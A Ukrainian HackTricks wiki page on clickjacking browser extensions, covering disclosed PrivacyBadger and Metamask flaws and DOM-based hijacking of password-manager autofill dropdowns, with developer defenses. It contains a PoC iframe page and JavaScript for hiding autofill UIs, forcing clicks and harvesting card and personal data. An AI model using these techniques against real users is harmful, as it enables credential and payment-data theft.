BrowExt - ClickJacking
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Ця сторінка покаже, як зловживати вразливістю ClickJacking у розширенні браузера.
Якщо ви не знаєте, що таке ClickJacking, перегляньте:
Розширення містять файл manifest.json
, і цей JSON-файл має поле web_accessible_resources
. Ось що кажуть the Chrome docs:
These resources would then be available in a webpage via the URL
chrome-extension://[PACKAGE ID]/[PATH]
, which can be generated with theextension.getURL method
. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.1
Ресурси в web_accessible_resources
розширення браузера доступні не лише через веб; вони також працюють з привілеями самого розширення. Це означає, що вони можуть:
- Змінювати стан розширення
- Завантажувати додаткові ресурси
- Взаємодіяти з браузером в певній мірі
Однак ця можливість створює загрозу безпеці. Якщо ресурс у web_accessible_resources
має якусь суттєву функціональність, атакуючий потенційно може вбудувати цей ресурс у зовнішню веб-сторінку. Нічого не підозрюючі користувачі, які відвідають таку сторінку, можуть випадково активувати вбудований ресурс. Така активація може призвести до небажаних наслідків залежно від дозволів і можливостей ресурсів розширення.
Приклад PrivacyBadger
У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія skin/
була оголошена в web_accessible_resources
наступним чином (Перегляньте оригінальний blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема файл skin/popup.html
, який відображається при взаємодії з іконкою PrivacyBadger у браузері, міг бути вбудований у iframe
. Це вбудування можна використати, щоб обманом змусити користувачів випадково натиснути "Disable PrivacyBadger for this Website". Така дія підривала б конфіденційність користувача, вимикаючи захист PrivacyBadger і потенційно піддаючи його більшому стеженню. Візуальну демонстрацію цього експлойту можна переглянути у ClickJacking відеоприкладі за адресою https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Щоб усунути цю вразливість, було реалізовано просте рішення: видалення /skin/*
зі списку web_accessible_resources
. Це зміна ефективно знизила ризик, гарантувавши, що вміст директорії skin/
не може бути доступний або маніпульований через web_accessible_resources
.
Виправлення було простим: видалити /skin/*
зі списку web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Example
Детальніше див. blog post about a ClickJacking in metamask can be found here. У цьому випадку Metamask виправили вразливість, перевіряючи, що протокол, через який до них звертаються, був https:
або http:
(наприклад, не chrome:
):
.png)
Another ClickJacking fixed у розширенні Metamask полягав у тому, що користувачі могли Click to whitelist, коли сторінка підозрювалася у phishing через “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Оскільки та сторінка була вразлива до Clickjacking, атакуючий міг зловживати нею, показуючи щось звичне, щоб жертва натиснула для додавання у whitelist, не помітивши цього, а потім повертатися до phishing-сторінки, яка вже буде в whitelist.
Steam Inventory Helper Example
Перевірте наведену сторінку, щоб дізнатися, як XSS у browser extension був поєднаний із вразливістю ClickJacking:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
Класичний extension clickjacking зловживає неправильно налаштованими web_accessible_resources
, щоб вставити в iframe привілейований HTML і спрямувати кліки користувача. Новіший клас — DOM-based extension clickjacking — націлений безпосередньо на dropdown-и автозаповнення, які password managers інжектять у DOM сторінки, і використовує CSS/DOM-трюки, щоб приховати або затемнити їх, залишаючи при цьому можливість взаємодії. Один змушений клік може вибрати збережений елемент і заповнити керовані атакуючим поля чутливими даними.
Threat model
- Атакуючий контролює webpage (або досягає XSS/subdomain takeover/cache poisoning на пов’язаному домені).
- Жертва має встановлене і розблоковане password manager extension (деякі здійснюють автозаповнення навіть коли номінально заблоковані).
- Індуковано принаймні один клік користувача (накладені cookie banners, діалоги, CAPTCHAs, ігри тощо).
Attack flow (manual autofill)
- Інжектувати невидиму, але фокусовану форму (login/PII/credit-card поля).
- Зфокусувати інпут, щоб викликати extension’s autofill dropdown поруч із полем.
- Сховати або затемнити extension UI, залишивши його інтерактивним.
- Вирівняти правдоподібний контрол під прихованим dropdown, щоб змусити клік, який вибере елемент.
- Зчитати заповнені значення з форми атакуючого і ексфільтрувати.
How to hide the autofill UI
- Extension element
- Root element opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Дочірній елемент всередині відкритого ShadowRoot (динамічний тег, приховати внутрішній iframe):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Батьківський елемент
- BODY/HTML opacity tricks щоб зробити інтерфейс розширення невидимим, поки сторінка виглядає нормально (наприклад, фон для скріншоту):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Overlay
- Partial overlay: закрийте все, окрім кількох пікселів, щоб dropdown залишався клікабельним (переконайтеся, що attacker overlay є останнім у DOM з max z-index, або використайте Top Layer).
- Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Позиціонування кліку жертви
- Fixed placement: розмістіть прихований dropdown під правдоподібним елементом керування, таким як “Accept cookies”, “Close” або прапорець CAPTCHA.
- Follow-mouse: переміщуйте сфокусований input під курсор так, щоб dropdown слідував за ним; періодично знову встановлюйте фокус, щоб один клік в будь-якому місці вибирав елемент:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Наслідки та сценарії
- Сайт під контролем зловмисника: один примусовий клік може ексфільтрувати дані кредитної картки (номер/термін/ CVC) та персональні дані (ім'я, email, телефон, адреса, дата народження (DOB)), які не обмежені доменом.
- Довірений сайт з XSS/subdomain takeover/cache poisoning: крадіжка облікових даних при кількох кліках (username/password) та TOTP, оскільки багато менеджерів паролів автоматично заповнюють поля на пов'язаних субдоменах/батьківських доменах (наприклад,
*.example.com
). - Passkeys: якщо RP не прив'язує WebAuthn challenges до сесії, XSS може перехопити підписане твердження; DOM-based clickjacking приховує підказку passkey, щоб спонукати користувача підтвердити кліком.
Обмеження
- Потребує принаймні одного кліка користувача та достатнього вирівнювання пікселів (реалістичні оверлеї полегшують виманювання кліків).
- Автоблокування/вихід скорочують вікно експлуатації; деякі менеджери все ще автоматично заповнюють поля, коли вони «заблоковані».
Заходи захисту для розробників розширень
- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
- Стійкість до маніпуляцій CSS: віддавати перевагу Closed Shadow DOM та моніторити за допомогою
MutationObserver
підозрілі зміни стилів у коренях UI. - Виявляти ворожі оверлеї перед заповненням: перелічити інші top-layer/popover елементи, тимчасово вимкнути
pointer-events:none
і використовуватиelementsFromPoint()
для виявлення перекриття; закривати UI, якщо оверлеї присутні. - Виявляти підозрілі зміни opacity або стилів у
<body>
/<html>
як до, так і після рендерингу. - Для проблем на основі iframe: звужуйте область дії MV3
web_accessible_resources
matches
і уникайте експонування HTML UI; для неминучого HTML віддавайте заголовокX-Frame-Options: DENY
абоContent-Security-Policy: frame-ancestors 'none'
.
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.